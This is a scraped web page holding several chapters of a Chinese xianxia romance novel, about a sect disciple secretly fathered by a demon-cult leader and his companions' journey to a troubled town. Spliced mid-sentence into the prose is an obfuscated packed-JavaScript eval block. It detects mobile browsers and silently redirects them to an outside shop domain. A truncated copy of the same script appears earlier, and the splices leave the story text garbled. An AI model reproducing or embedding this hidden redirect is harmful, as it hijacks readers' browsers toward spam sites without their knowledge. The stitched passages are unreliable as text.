他的房间一如既往地整洁——书案上摆着一卷未写完的剑谱,窗边挂着一只风铃,风吹过,发出清脆的声响。 大门早已修好,而且是云清君特意让人定制的加硬版,连门缝都做得密不透风。理由很简单——防止某个姓严的家伙再次破门而入。 宥鲤的目光从门上移开,正要去倒茶,忽然—— “嗖——” 一道寒光从窗外疾射而来,直取他面门! 宥鲤手腕一翻,茶盏应声飞出,与寒光在空中相撞,“叮”的一声脆响,茶盏碎裂,寒光偏了半寸,贴着他的发梢钉进了身后的木柱。 是一支细长的黑羽箭,箭尾绑着一卷黑色的绢布。 宥鲤抬手,解下绢布,展开。 上面只有短短几行字,字迹凌厉如刀—— “宥鲤,三日后,西岭废寺见。 ——煞玄。” 落款处,一枚血色的骷髅印在烛光下泛着诡异的光。 宥鲤的指尖微微一紧。 煞玄——血煞魔教教主,也是他的亲生父亲。 表面上,他是朽清门的天之骄子——清隽、冷淡、自律、不争不抢。可没人知道,他的身世是一场彻头彻尾的谎言。 当年,煞玄为了潜入万归宗的核心,亲手将年幼的宥鲤送到朽清门,编造了孤儿的身份。从那天起,宥鲤学会了用沉默和温顺包裹自己,把真正的锋芒藏在骨子里。 “……父亲。”他低声念了一遍,像是在咀嚼这个词的味道。 可眼底,没有一丝温度。 他走到窗前,目光投向夜色深处。 “送信的剑都差点飞过去划伤自己……”宥鲤唇角勾起一抹冷笑,“而我这个便宜儿子,有什么用呢?” 他很清楚,煞玄从不做无意义的事。这封信,绝不仅仅是让他去见一面那么简单。 或许,是任务。 或许,是试探。 也或许……是陷阱。 宥鲤将绢布重新卷起,塞进袖中。 风铃声轻轻响起,像是谁在暗处低笑。 他转身,吹灭了烛火。 黑暗中,那双浅茶色的眼睛亮得惊人——冷静、锋利,像一柄藏在鞘中的剑,正缓缓出鞘。 64. 苦冬·十 西岭废寺的钟声早已沉寂,只剩残破的佛龛在风中摇晃。檐角垂下的蛛网被风吹得猎猎作响,像一面面残破的旗。 宥鲤踏着落叶走进大殿,脚步很轻,却在空旷的殿中激起回声。 殿中央,一个高大的身影背对着他而立。黑袍曳地,衣摆上绣着血色的纹路,在昏光中仿佛在流动。 那人缓缓转过身。 ——煞玄。 他的面容凌厉,眉骨高耸,眼中带着常年身居上位的威压。可当他的目光落在宥鲤脸上时,整个人像是被什么击中,瞳孔猛地一缩。 “……像。”他低声喃喃,“太像了。” 宥鲤微微蹙眉:“像谁?” 煞玄没有立刻回答,只是走近几步,目光像刀一样在他脸上一寸寸扫过。 “你母亲。”他的声音低沉,带着一种难以言喻的复杂,“宥情柳。” 宥鲤的指尖在袖中轻轻一动。母亲这个词,对他来说陌生得像另一种语言。 “我不记得她。”他淡淡道。 “你当然不记得。”煞玄冷笑一声,“她死的时候,你才两岁。” 殿外的风灌进来,吹动了宥鲤额前的碎发。他抬眼,浅茶色的眼底映着煞玄的脸——冷漠、凌厉,还有一丝让他无法忽视的疯狂。 “你找我来,就是为了说这些?”宥鲤问。 “当然不是。”煞玄缓缓抬起手,指尖轻轻划过他的脸颊,像是在抚一件珍贵的器物,“我是来告诉你,你的身份。” 宥鲤退了一步,避开他的手:“我知道。” “你知道?”煞玄挑眉,“知道你是我煞玄的儿子?知道你流着的是血煞魔教的血?” 宥鲤看着他,语气平静:“这些,对我来说没有意义。” 煞玄的眼神瞬间冷了下来:“没有意义?宥鲤,你是我煞玄的继承人——万归宗的那些清规戒律,不过是束缚你的枷锁。只要你跟我回去,整个魔教都是你的。” 宥鲤沉默了片刻,忽然开口:“你当年,为什么把我送到朽清门?” 煞玄的手指微微一僵,随即低笑出声:“为了让你潜入他们的心脏,为我所用。” “那现在呢?”宥鲤问,“你觉得,我是你的棋子,还是你的儿子?” 殿中安静了一瞬。 煞玄的目光变得复杂,像是在挣扎。可很快,那挣扎被他压了下去。 “都是。”他说,“你是我煞玄的儿子,也是我最锋利的棋子。” 宥鲤看着他,忽然觉得胃里一阵翻涌。那是一种混杂着恶心、愤怒、还有说不清的荒凉的感觉。 “我不会跟你回去。”他低声道。 “你说什么?”煞玄的声音瞬间冷得像冰。 “我说,我不会跟你回去。”宥鲤抬起眼,浅茶色的眼底有锋芒一闪而过,“我是朽清门的弟子,云清君的徒弟——不是你的棋子。” 煞玄盯着他,像是要将他生吞活剥。可片刻后,他忽然笑了,笑声低沉而诡异。 “很好。”他缓缓道,“那我们就看看,谁能笑到最后。” 风从破庙的缝隙里灌进来,吹动了宥鲤的衣摆。他转身,朝殿外走去。 走到门口时,他停了一下,没有回头:“以后,不要再来找我。” 殿内,煞玄的目光落在他的背影上,手指在袖中微微收紧。 “宥鲤……”他低声呢喃,像是在呼唤,又像是在诅咒。 殿门在风里吱呀作响,宥鲤的背影很快被暮色吞没。 煞玄站在残破的佛龛前,眼底的情绪翻涌——有怒意,有失望,也有一种难以言说的执念。 “你以为……”他缓缓开口,声音低沉得像从地底滚出,“你身上流的是谁的血?” 殿中无风,烛火却猛地一跳,像是被什么看不见的力量惊扰。 “心魔……会告诉你的。” 他抬起手,指尖在空中轻轻一勾,一缕黑色的雾气从掌心升起,像有生命般扭动、盘旋,最终消散在空气里。 “等你杀光万归宗那一天……”他的唇角勾起一抹冷笑,那笑意带着疯狂与笃定,“你就会明白,你是谁的儿子。” 话音落下,他的身影忽然变得模糊,像被夜色一点点吞噬。 下一刻,原地只剩下一阵冰冷的风。 殿外,暮色四合,西岭的轮廓在黑暗中若隐若现。仿佛刚才的一切,不过是一场噩梦。 可空气中残留的血腥与寒意,却提醒着,煞玄,来过。 6日后—— 万归宗的议事大殿,穹顶高阔,四壁悬着古旧的幡旗,空气中弥漫着檀香与金属的气息。 宗主墨北仙尊闭关已有三月,宗门一切事务暂由长龄大长老代理。 此刻,他坐在大殿正中的玄木椅上,目光沉稳如岳。 殿下,朽清门与朝阳门的弟子分列两侧。 朽清门这边,云清君一袭白衣,神色淡然;宥鲤站在他身后,眉目清冷,像一柄未出鞘的剑。 朝阳门那边,贺兼负手而立,严珩站在他身侧,嘴角挂着一抹似笑非笑的弧度,目光时不时飘向宥鲤。 长龄大长老缓缓开口,声音苍老却不失威严:“近日,瑶花镇外妖兽群因不明原因暴乱,已伤数十百姓。此事关乎宗门声誉与百姓安危,必须尽快解决。” 他顿了顿,扫了众人一眼:“因宗主闭关,此次任务由我亲自下发。按规矩,每门派只能派出一名弟子。” 殿中一片寂静,所有人都在等待他的决定。 “朽清门——云清君,率弟子宥鲤。” “朝阳门——贺兼,率弟子严珩。” “沧海门——岚玪,率弟子白剑雪。” “云之门——鹤睮,率弟子东方潭瑞。” “九天门——清风,率弟子东方如光。” “乾亘门——寺栖,率弟子峰羽。” 两道目光在半空无声交锋,云清君的温和,对上贺兼的锐利;宥鲤的冷淡,对上严珩的张扬。 长龄大长老继续道:“你们需前往瑶花镇,查明妖兽暴乱的原因,平息动乱,保护无辜百姓。记住——此去务必谨慎,不可滥杀,亦不可轻敌。” “谨遵大长老令!”众人齐声应道。 散会后,云清君走到宥鲤身边,低声叮嘱:“千浮,此去小心。妖兽暴乱恐有蹊跷,遇事多与我商量。” 宥鲤点头:“弟子明白。” 不远处,严珩懒洋洋地靠在廊柱上,冲他扬了扬下巴:“宥鲤,这回咱们可是并肩作战了。” 宥鲤淡淡看了他一眼,没有说话。 可不知为何,他的耳边却忽然响起了三天前煞玄的声音—— “你以为你身上流的谁的血?心魔会告诉你的……” 那天的话他听到了,一字不漏…… 宥鲤垂下眼,将那声音压在心底。 他知道,这趟瑶花镇之行,恐怕不会那么简单。 议事大殿的台阶下,宥风一直站在阴影里,安静得像不存在。 他听到了长龄大长老的每一个字,听到了云清君的叮嘱,也听到了严珩那句带着挑衅的“并肩作战”。 可他的目光,始终只落在一个人身上——宥鲤。 自从那件事之后,哥哥总是躲着他。 无论他怎么靠近,宥鲤都会在不经意间拉开距离——眼神避开,步伐加快,甚至连说话都变得客气而疏远。 可这没用。 宥风比谁都清楚,距离从来不是问题。只要他想,就能在任何时候出现在宥鲤身边。 只是……他在等。 等宥鲤放下那些无谓的挣扎,等他明白——无论哥哥逃到哪里,他都走不出宥风的视线。 “瑶花镇啊……”宥风在心里低声呢喃,唇角勾起一丝极淡的笑。 那里,妖兽暴乱。 那里,有血煞魔教的影子。 那里,很危险。 而危险,是最好的催化剂。 他抬眼看向上方的台阶,宥鲤正与云清君并肩而行,背影清瘦而挺拔。 宥风的眼底闪过一丝暗芒——那是猎人锁定猎物的目光,带着势在必得的笃定。 “哥,”他在心底轻轻唤了一声,“你会需要我的。” 风从廊下吹过,卷起他的衣角。宥风收回目光,转身消失在阴影里。 没有人知道,他已经提前一步,往瑶花镇去了。 夜色渐深,朽清门的钟声在远处悠悠回荡。 宥鲤推开房门,屋内却并不如他想象中那般空荡——云清君正坐在窗边的案旁,手里捧着一盏温茶,目光温和而沉静。 “师尊?”宥鲤微微一怔。 “回来了。”云清君放下茶盏,站起身来,“坐吧。” 宥鲤依言在他对面坐下。烛光映在云清君的眼底,像是盛着一池静水,波澜不惊,却深不见底。 “明日一早便要启程。”云清君缓缓开口,“此行瑶花镇,你要记住几件事。” 宥鲤点头。 “第一,无论遇到什么情况,先确保百姓安全。”云清君的语气很轻,却带着不容置疑的坚定,“妖兽暴乱或许只是表象,背后可能另有隐情。” 宥鲤低声应是。 “第二,”云清君看了他一眼,“朝阳门的严珩,你要小心。他的剑很快,但性子更急,容易被人利用。” 宥鲤沉默片刻,轻声道:“弟子明白。” “第三——”云清君顿了顿,目光落在他的脸上,像是在斟酌词句,“若你在途中遇到……任何与你身世有关的事,先告诉我。” 宥鲤的指尖在袖中微微一动,却没有抬头。 “我不希望你一个人扛着。”云清君的声音很轻,却像一阵暖风,试图穿透那层包裹着宥鲤的冷意,“你是我的弟子,我会护你。” 屋内安静了一瞬,只有烛火偶尔发出细微的噼啪声。 宥鲤终于抬眼,浅茶色的眼底映着云清君的面容——温雅、沉稳,带着不容拒绝的关怀。 “……是。”他低声应道。 云清君似乎还想说什么,却只是叹了口气,起身替他理了理桌上的剑谱。 “早些休息吧。”他说,“明日路途不短。” 宥鲤起身相送,却在云清君走到门口时,忽然开口:“师尊。” 云清君回头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可眼前的煞玄,眼中没有后来那种疯狂的执念,只有真切的爱意。他伸手握住宥情柳的手,十指相扣,像是握住了全世界。 “你爹娘那边……”煞玄顿了顿,“我会再去求他们。” 宥情柳摇头,眼中闪过一丝黯然:“他们不会答应的。你也知道,他们看不上你的出身。” “出身?”煞玄冷笑,“我会让他们知道,我配得上你。” 宥鲤站在一旁,看着这一幕,心底的情绪翻涌——他不知道自己是在旁观,还是在亲历。 画面一转,是一个雨夜。 宥情柳坐在窗前,怀里抱着两岁的宥鲤。窗外雷声滚滚,她的脸色苍白如纸。 “情柳,你听我解释——”煞玄的声音从门外传来,带着急切。 宥情柳没有开门,只是抱紧了怀里的孩子。 “那些人……是你杀的,是不是?”她的声音颤抖。 门外沉默了一瞬,随即传来另一个声音——年轻、冷冽,却带着奇异的笑意。 “夫人,是我杀的。” 一个白衣男子走进来,眉目俊秀,却在眼底藏着令人不安的冷意。 宥鲤的瞳孔骤缩。 ——宥风。 “你是……”宥情柳的声音里带着惊恐。 “琅风,”白衣男子微微一笑,“教主的护法。” 煞玄站在他身后,面色阴沉:“情柳,那些人该死。” “该死?”宥情柳猛地站起,将宥鲤护在身后,“他们只是客栈里的客人!” “他们看到了不该看的。”琅风淡淡道,“夫人,您该明白,教主的身份,不能泄露。” 宥情柳的目光在两人之间来回,眼中的爱意一点点崩塌。 “原来……你真的是……”她的声音轻得几乎听不见,“血煞魔教的教主。” 煞玄上前一步,伸手想握住她:“情柳,我从未想骗你——” “够了!”宥情柳猛地后退,泪水夺眶而出,“你杀了那么多人……我爱的人,竟是这样的魔鬼!” 琅风在一旁静静看着,唇角勾起一丝意味不明的笑。 “娘……”两岁的宥鲤伸出手,却什么也抓不到。 宥情柳低下头,在他额上轻轻一吻,泪水落在他的发间。 “鲤儿,娘对不起你。” 她从头上拔出簪子,刺向心脏。 宥鲤失声大哭。 鲜血四溅,红梅般的颜色在他眼前绽开。 煞玄冲上前,抱住她倒下的身体,声音嘶哑:“情柳!情柳——!” 宥情柳的嘴唇微微动了动,似乎在说什么,却被雨声吞没。 她的手缓缓垂下,落在地上,指尖离宥鲤只有一寸。 宥鲤扑过去,却扑了个空。 眼前的画面开始扭曲、破碎。 煞玄的脸与二十年后的模样重叠,声音低沉而疯狂—— “你以为你身上流的谁的血?心魔会告诉你的……” “等你杀光万归宗那一天,你就会明白,你是谁的儿子。” 宥鲤猛地睁开眼,大口喘着气。 窗外,风正吹着风铃,发出清脆的声响。 他的额上全是冷汗,手心冰凉。 “……娘。”他低声呢喃,眼中闪过一丝迷茫。 是梦……还是心魔在作祟? 他不知道。 但他很清楚——那段血腥的往事,已经在他心底,刻下了无法磨灭的印记。 65. 十一 清晨的万归宗山门外,雾气尚未散尽,石阶上覆着一层薄薄的白霜。 宥鲤背着剑,站在最前面,神色冷淡。他的行李不多,只有一个青色包袱和一柄剑。 脚步声从山道上传来,带着轻快的节奏。 “小千浮——” 严珩穿着朝阳门的绛色劲装,嘴角挂着那抹欠揍的笑,几步就跳到宥鲤面前,“这么早啊?是不是等我等得心急了?” 宥鲤抬眼看他,淡淡道:“你来得早,不代表我等你。” “哎呀,还是这么冷淡。”严珩故作受伤地捂住胸口,“真伤我心。” 他话锋一转,凑近宥鲤耳边,压低声音:“不过说真的,这趟瑶花镇可不太平,你可得跟紧我,我保护你。” 宥鲤移开半步,避开他的气息:“不需要。” 严珩嘿嘿一笑,倒也不恼。 这时,其他门派的弟子也陆续到来。 沧海门的白剑雪提着剑,神色沉稳,只是朝众人点了点头,算是打招呼。 云之门的东方潭瑞则是另一种画风——一身淡蓝色长袍,笑容明亮得像阳光。他一到就冲着宥鲤挥手:“你就是朽清门的宥鲤吧?久仰大名!我是东方潭瑞,云之门弟子。” 他又看向严珩,笑得更欢:“这位就是朝阳门的严珩吧?听说你剑法很快,有机会切磋切磋?” 严珩挑眉:“行啊,不过我怕我一不小心,把你打哭。” “哈哈哈,那可要看你有没有这个本事。”东方潭瑞爽朗地笑起来,完全没把挑衅当回事。 九天门的东方如光来得很安静。他一身白衣,眉眼冷峻,像一柄未出鞘的剑。走到东方潭瑞面前时,只是淡淡丢下一句:“你别死了。” 东方潭瑞翻了个白眼:“哥,你就不能说点好听的?” 东方如光皱眉,似乎想解释什么,最终只是低声道:“……路上小心。” 严珩在一旁看得津津有味,凑到宥鲤耳边小声道:“这俩兄弟,还挺有意思。” 乾亘门的峰羽最后到达,神色平静,和白剑雪一样只是点了点头,算是打过招呼。 长龄大长老的声音从山门上传来:“时辰到了,出发!” 众人应声,各自翻身上马。 马蹄声在山道上响起,雾气中,一行人的身影渐渐远去。 宥鲤回头看了一眼万归宗的方向,眼底闪过一丝复杂。 严珩策马靠近,笑道:“小千浮,想什么呢?是不是舍不得我?” 宥鲤收回目光,淡淡道:“闭嘴,赶路。” 严珩“嘁”了一声,却还是识趣地没再说话。 山道蜿蜒,前方的雾越来越浓,仿佛预示着,这趟瑶花镇之行,不会平静。 万归宗山门外,晨雾缭绕,山道蜿蜒曲折,渐渐没入群山深处。 云清君站在主峰的飞檐上,白衣在风中猎猎作响。他的目光越过重重云雾,落在那一行渐行渐远的身影上。 马蹄声、谈笑声、兵刃碰撞声,都被山风吞没,只剩下心底那份沉甸甸的牵挂。 他知道,这一去,不会是三五天的行程。妖兽暴乱背后的原因尚不明朗,瑶花镇外的山林里,或许藏着比妖兽更可怕的东西。 “这一去……”云清君低声呢喃,眼底闪过一丝不易察觉的担忧,“大概又是一年吧。” 风从耳边呼啸而过,仿佛在回应他的叹息。 他想起宥鲤临走前的眼神——冷淡、克制,却藏着一丝不安。那是他从未在这个弟子身上见过的情绪。 云清君握紧了袖中的手,指节泛白。 “我的小千浮啊……”他在心底唤着宥鲤的字,“无论你遇到什么,都要活着回来。” 山门外的晨雾渐渐散去,阳光洒在山道上,照亮了那一行人的背影。 云清君静静站了许久,直到再也看不见他们的踪迹,才转身离去。 背影消失在飞檐之后,只留下一阵风,卷起几片落在瓦上的梅花瓣,飘向远方。 夕阳斜照,金色的余晖洒在山道上,映得一行人影子被拉得很长。 峰羽从包袱里取出一卷泛黄的地图,铺在马鞍上,手指在上面一一划过。 “领胡镇 →乐南县 →岷西岛 →河滁泊 →滁平江 →浮北泊。” 他低声念着路线,“按这个走,大概要三十天。” “三十天?”严珩挑眉,“那不是要一个月?” 峰羽抬眼看他,语气平静:“起马的话,日夜兼程,十六天能到。” “那还等什么?”严珩立刻道,“我们直接起马赶路,早点到瑶花镇,早点解决妖兽暴乱。” 东方潭瑞摇头:“御剑更快,两天就能到。” 东方如光冷冷瞥了他一眼:“御剑太明显,容易惹人注意。” “尤其是魔教的人。”白剑雪补充道,“现在我们的行踪,最好低调。” 宥鲤看着地图,眼底闪过一丝思索:“起马十六天……路上要经过岷西岛和滁平江,这两处都是水路。” “没错。”峰羽点头,“岷西岛最近不太平,据说水上有妖兽出没。” 严珩打了个响指:“正好,路上练练手。” 东方潭瑞笑着附和:“我也想看看水上的妖兽长什么样。” 东方如光淡淡道:“别逞强。” “你就不能说句好听的?”东方潭瑞翻了个白眼。 “你别死了。” 众人:“……” 宥鲤收回目光,语气平静:“那就按起马走,十六天。路上小心,别惊动不必要的人。” 严珩凑到他身边,压低声音:“小千浮,你放心,我会保护你的。” 宥鲤淡淡看了他一眼:“你先保护好你自己。” 夕阳下,众人策马前行,马蹄声在山道上整齐地回荡。 远处,群山连绵,云雾缭绕。谁也不知道,在这十六天的路程中,他们会遇到什么——是水路妖兽,还是魔教的暗哨。 而在某个看不见的地方,一双眼睛正注视着他们的背影,唇角勾起一抹意味不明的笑。 夜幕降临,岷西岛的渡口小镇灯火点点。众人一路风尘仆仆,终于找到一家还亮着灯的客栈。 小二热情地迎上来:“客官住店吗?” 峰羽点头:“还有几间房?” “只剩三间大房了,每间能住四个人。”小二笑道。 众人对视一眼——一共六个人,三间房,正好两两一间。 严珩立刻举手:“我跟小千浮一间!” 宥鲤淡淡道:“不要。” “为什么?”严珩一脸受伤,“我会很安静的。” “你安静过吗?”白剑雪凉凉补刀。 东方潭瑞笑得一脸灿烂:“我跟我哥一间吧。” 东方如光看了他一眼,心里其实想的是:【路上多照顾他,省得他乱跑。】 但说出口的却是—— “你别拖我后腿。” 东方潭瑞:“……” 众人:“……” 严珩忍不住笑出声:“我说东方兄,你这是凭一己之力孤立全世界啊。” 峰羽清了清嗓子:“我跟白剑雪一间,剩下的你们自己分配。” 白剑雪点头:“可以。” 严珩凑到宥鲤身边,压低声音:“那我们一间吧,小千浮,我保证——” “我跟东方如光一间。”宥鲤忽然开口。 严珩像被雷劈了一样:“你宁愿跟冰块睡,也不跟我?” 宥鲤:“他安静。” 东方如光心里:【太好了,他安全我也放心。】 嘴上却说:“你别打呼噜。” 宥鲤:“……” 东方潭瑞捂着脸:“哥,你就不能说句好听的?” 东方如光认真思考了两秒,然后一本正经地补刀:“你别死在半夜。” 东方潭瑞:“……” 小二在一旁听得一脸茫然:“客官,那三间房你们确定好分配了吗?” 峰羽点头:“我和白剑雪一间,严珩和东方潭瑞一间,宥鲤和东方如光一间。” 严珩立刻哀嚎:“不要啊!我不要跟这货一间!” 东方潭瑞笑眯眯地拍了拍他的肩:“放心,我会很‘安静’的。” 严珩看着他的笑,莫名觉得背后发凉。 夜色已深,客栈的走廊静悄悄的,只有烛火在墙上投下摇曳的影子。 宥鲤推开房门,东方如光已经坐在床边,手里拿着一壶热水,正认真地往两个杯子里倒。 宥鲤:“……” “喝。”东方如光把一杯递给他,心里想的是【路上风大,喝点热水暖身子。】 嘴上却说:“别冻死了。” 宥鲤接过杯子的手微微一顿,淡声道:“谢谢。” 东方如光点点头,又从怀里掏出一块干粮,塞到宥鲤手里。 心里:【他晚饭吃得少,半夜会饿。】 嘴上:“别饿死了。” 宥鲤看着手里的干粮,沉默三秒,把它放了回去。 “我不饿。” “你晚上只喝了半碗汤。”东方如光一本正经,“会饿。” “我说不饿。”宥鲤的声音冷了几分。 空气安静了一瞬。 东方如光看着他,似乎在斟酌词句,然后认真地补充了一句:“别逞强。” 宥鲤:“……” 他忽然觉得,这一晚要是跟东方如光同屋,可能会比赶路还累。 隔壁房间,严珩正趴在门缝偷听,脸上写满了幸灾乐祸。东方潭瑞则坐在床边,慢悠悠地喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261161|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶。 “哥肯定又把人得罪了。”东方潭瑞笑道。 严珩挑眉:“你怎么知道?” “他那嘴,能把关心说成诅咒。”东方潭瑞摊手,“我猜,不出半个时辰,你家小千浮就会过来敲我们的门。” 话音刚落—— “叩叩叩。” 严珩猛地跳起来,跑去开门。 门口,宥鲤抱着自己的剑,神色冷淡。 严珩:“卧艹” “我能跟你们换个房间吗?” 严珩笑得像偷到鸡的狐狸:“当然可以!” 东方潭瑞在后面慢悠悠地补了一句:“我就说吧。” 宥鲤走进来,看了他一眼:“你早就料到?” “我哥的关心方式,我比谁都清楚。”东方潭瑞无奈地耸耸肩,“你能忍到现在,已经很厉害了。” 严珩兴奋地拍了拍床:“小千浮,今晚我们——” “你睡地上。”宥鲤淡淡道。 严珩:“……” 东方潭瑞笑得差点把茶喷出来。 隔壁房间,东方如光坐在床边,看着对面空着的床铺,神色若有所思。 心里:【他换房间了,是不是我说话太重了?】 嘴上却在心里默默重复了一遍:“别冻死了……” 夜深人静,隔壁传来东方如光翻身的轻微声响。 严珩躺在地上,双手枕在脑后,盯着天花板发呆。片刻后,他翻身坐起,看着床上闭目养神的宥鲤。 “小千浮。”他声音很轻,却带着不容拒绝的笃定,“我知道你不喜欢有人靠太近。” 宥鲤没睁眼,只淡淡“嗯”了一声。 “可你也知道,”严珩继续道,“我们这趟不是游山玩水。路上随时可能有人偷袭,尤其是魔教的人。” 宥鲤的睫毛微不可察地动了一下。 严珩站起身,走到床边坐下,语气依旧懒散:“你一个人睡,我在地上,万一真有人摸进来,我得先爬起来,再扑过去挡刀——这反应时间,够别人捅你两剑了。” 宥鲤终于睁开眼,冷冷看着他:“你在威胁我?” “我在关心你。”严珩摊手,唇角带笑,“只不过换了个说法。” 他顿了顿,目光忽然认真起来:“我知道你能打,但有些事不是你一个人扛就好。你可以不信我,但你得信我这把剑。” 宥鲤沉默片刻,似乎在权衡。 严珩见状,微微一笑,往后一仰,半躺在床沿:“放心,我不会动手动脚。我严珩虽然痞,但有底线。” 宥鲤盯着他几秒,终于吐出两个字:“上来。” 严珩眼底闪过一丝笑意,却没表现得太过兴奋,只是轻声道:“好。” 他动作很轻地躺下,与宥鲤保持着一拳的距离。房间安静下来,只有烛火偶尔“噼啪”一声。 过了片刻,严珩侧过身,低声道:“小千浮。” “嗯?” “你不用一直这么紧绷。”他语气很轻,“有我在。” 宥鲤没说话,只是缓缓闭上了眼。 严珩看着他的侧脸,唇角微扬,却没有再打扰。 夜色深沉,窗外的风声渐大,似乎预示着,这趟旅途的危险,才刚刚开始。 天刚蒙蒙亮,客栈外的街道还带着夜露的湿意。 众人陆续从房间出来,在门口集合。 白剑雪和峰羽已经整装待发,神色平静。 东方潭瑞打着哈欠走出来,目光一扫,立刻落在宥鲤和严珩身上,嘴角勾起一抹坏笑:“哟,你们俩昨晚睡得挺近啊。” 严珩挑眉,一脸理所当然:“保护队友,理所应当。” 宥鲤淡淡瞥了他一眼,没接话。 东方潭瑞笑得更欢:“是是是,保护得可真好。” 这时,东方如光从楼梯上走下来,目光在宥鲤身上停了一瞬,心里想的是:【昨晚没休息好吗?脸色有点差。】 可话一出口,却变成了—— “脸别死了。” 宥鲤:“……” 严珩“噗”地笑出声,立刻被宥鲤瞪了一眼。 峰羽轻咳一声,打断了这诡异的气氛:“时间不早了,我们该出发了。” 白剑雪点头,率先迈步。 东方潭瑞走在宥鲤身边,压低声音调侃:“我哥其实是关心你,就是……表达得比较特别。” 宥鲤没理他,只握紧了剑柄。 严珩走在另一侧,低声道:“别理他,有我在,没人能动你。” 宥鲤侧头看了他一眼,没说话,却在转身的瞬间,嘴角几不可察地动了一下。 众人策马出了小镇,朝着乐南县的方向疾驰而去。 晨雾中,马蹄声滚滚,像是在为一场即将到来的风暴,敲起了前奏。 66. 十二 夕阳西下,乐南县城的街道被五彩花灯点亮,锣鼓声、笑声此起彼伏。 峰羽勒住马缰,抬眼望去:“没想到正好赶上花灯节。” 白剑雪微微皱眉:“人太多,不好防备。” 东方潭瑞眼睛一亮:“正好,我还没逛过花灯节呢!” 东方如光瞥了他一眼,心里想:【别乱跑。】 嘴上却说:“别丢了。” “……”东方潭瑞翻了个白眼,“哥,你就不能说点吉利的?” 宥鲤看着人潮,神色冷淡。忽然,他的目光在人群中停了一瞬——一个戴着斗笠的黑影,似乎正盯着他看。 “怎么了?”严珩注意到他的神色,顺着视线望去,却什么也没看到。 “没什么。”宥鲤收回目光,手心却已微微收紧剑柄。 严珩唇角一勾,压低声音:“小千浮,有我在,你只管看灯。” “你不觉得太热闹了吗?”宥鲤淡淡道。 “热闹才好。”严珩笑,“越乱,越方便藏人。” 他们走进人群,小贩的吆喝声、孩童的笑声、花灯旋转的光影交织成一片。东方潭瑞已经跑去猜灯谜,东方如光不紧不慢地跟着。峰羽和白剑雪则在人群中分散探查。 忽然,宥鲤感到有人擦肩而过,一道淡淡的药香飘入鼻尖。他眼神一冷——是魔教惯用的迷香。 “小心。”严珩的声音在耳边响起,下一刻,他已伸手揽住宥鲤的肩,将他带入一条僻静的小巷。 “你也闻到了?”宥鲤低声问。 “嗯。”严珩收起笑意,目光沉了下来,“而且不止一个。” 巷子深处,一个黑影缓缓转身,斗笠下露出一双阴鸷的眼睛。 “宥鲤……”那人的声音沙哑,“跟我们走一趟。” 严珩向前一步,将宥鲤护在身后,手中长剑出鞘,声音带着冷意:“你们的目标,是他?” 黑影冷笑:“是又如何?” 巷子外,锣鼓声依旧,花灯的光影透过墙缝洒进来,映在剑刃上,寒光闪烁。 宥鲤握紧剑柄,低声对严珩道:“别杀他们,留活口。” 严珩回头看了他一眼,唇角微扬:“遵命。” 下一刻,剑光一闪,小巷内已响起兵刃碰撞的清脆声。 小巷里,风声夹着金属的碰撞声。 严珩脚尖一点,身形如燕,手中长剑在光影间划出一道半弧。那黑影挥刀格挡,却被他巧妙借力,剑锋一挑——“叮”的一声,长刀脱手飞出。 “擒!”严珩低声一喝,手腕一翻,剑背重重敲在对方肩头,黑影顿时跪倒在地。 另一名魔教弟子见状,急忙挥刀扑来。宥鲤眼神一冷,剑光如流星般闪过,直接挑断了对方的手腕筋脉。那人惨叫一声,手中刀掉落在地。 严珩将剑尖抵在第一名魔教弟子的喉咙上,声音低沉:“说,你们是谁派来的?” 黑影咬着牙,眼中闪过一丝狠意。下一刻,他猛地仰头,嘴角溢出黑血——竟是早已□□在齿间。 “糟了!”严珩眼神一凝,伸手去扣他的下颌,却已来不及。 黑影的身体软软倒下,嘴角却挂着诡异的笑。 宥鲤蹲下,翻查他的衣襟,从怀中摸出一块血色令牌,上面刻着一个狰狞的骷髅头,额骨处刻着两个字——血煞。 “血煞魔教……”宥鲤的声音冷得像冰。 严珩看着令牌,眼神沉了下来:“看来,我们要找的人,就在这里。” 巷子外,锣鼓声依旧热闹,仿佛这世间的喧嚣与血腥,永远隔着一层看不见的墙。 小巷的战斗结束后,宥鲤和严珩沿着河岸走回灯会的主街。人群依旧热闹,花灯映在水面上,流光溢彩。 宥鲤踏上大桥,目光落在远处的灯海,心里却翻涌着另一场风暴—— 【煞玄……他是我的亲生父亲。】 【他是血煞魔教的教主。】 【当年,是他亲手将我送进朽清门。】 这些年,他习惯了用沉默和冷淡包裹自己,把所有锋芒都藏在骨子里。 可今晚,又想起来那些被深埋的真相,像潮水一样冲击着他的心防。 ——如果这些人真是血煞魔教派来的,那么,煞玄是想直接把自己绑回去吗? 宥鲤的指尖微微发冷,他下意识地握紧剑柄,脚步也慢了下来。 “小千浮?”严珩察觉到他的异样,走过来与他并肩,“在想什么?” “没什么。”宥鲤的声音很轻。 严珩没追问,只是侧过身,用肩膀轻轻碰了碰他:“不管什么事,先看灯。” 宥鲤抬眼,花灯在夜色中闪烁,仿佛世间一切都很安宁。可下一刻,他脚下微微一滑——桥面被人流踩得湿滑,他重心一失,身体向后倾斜。 “小心!”严珩的手瞬间扣住他的手腕,用力将他拉回怀里。 宥鲤猝不及防地撞进严珩的胸膛,鼻尖闻到他身上淡淡的松木香。 “走路看地。”严珩低声道,声音里带着笑,却藏不住一丝紧张,“要是你掉下去,我还得跳下去救你。” 宥鲤垂眸,挣开他的手:“我不会掉下去。” “最好是。”严珩耸耸肩,却依旧与他保持着半步的距离,像在默默守护。 桥的另一头,东方潭瑞正挥手招呼他们:“快过来!这边的灯最好看!” 宥鲤深吸一口气,压下心中的波澜,迈步向前。只是这一次,他没有拒绝严珩走在自己身侧。 众人在灯会的小吃摊前集合,手里各自拿着糖葫芦、糖人、桂花糕,一边吃一边闲聊。 